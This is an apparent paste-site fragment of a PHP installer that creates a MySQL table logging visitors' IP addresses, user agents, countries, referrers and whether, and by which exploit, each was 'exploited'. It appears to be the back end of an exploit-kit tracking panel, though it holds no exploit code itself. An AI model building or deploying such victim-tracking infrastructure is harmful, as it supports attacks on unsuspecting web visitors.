· 8 years ago · Jul 07, 2018, 06:30 PM
1open(); createTables($sqlSettings); echo "Installation Complete.
2"; $sql->close(); function createTables($sqlSettings) { $cq = new CQuery(); echo("Creating Table " . $sqlSettings['tableVisitorsList'] . "
3"); $sql_result = mysql_query(" DROP TABLE IF EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "`"); $sql_result = mysql_query(" CREATE TABLE IF NOT EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "` ( `id` INT AUTO_INCREMENT , `ipAddress` VARCHAR( 16 ), `userAgent` VARCHAR( 400 ), `country` VARCHAR( 400 ), `referrer` VARCHAR( 400 ), `exploited` BOOL, `exploit` VARCHAR( 400 ), PRIMARY KEY ( `id` ) ) ENGINE = MYISAM ;"); echo("Tables Created.
4"); } ?>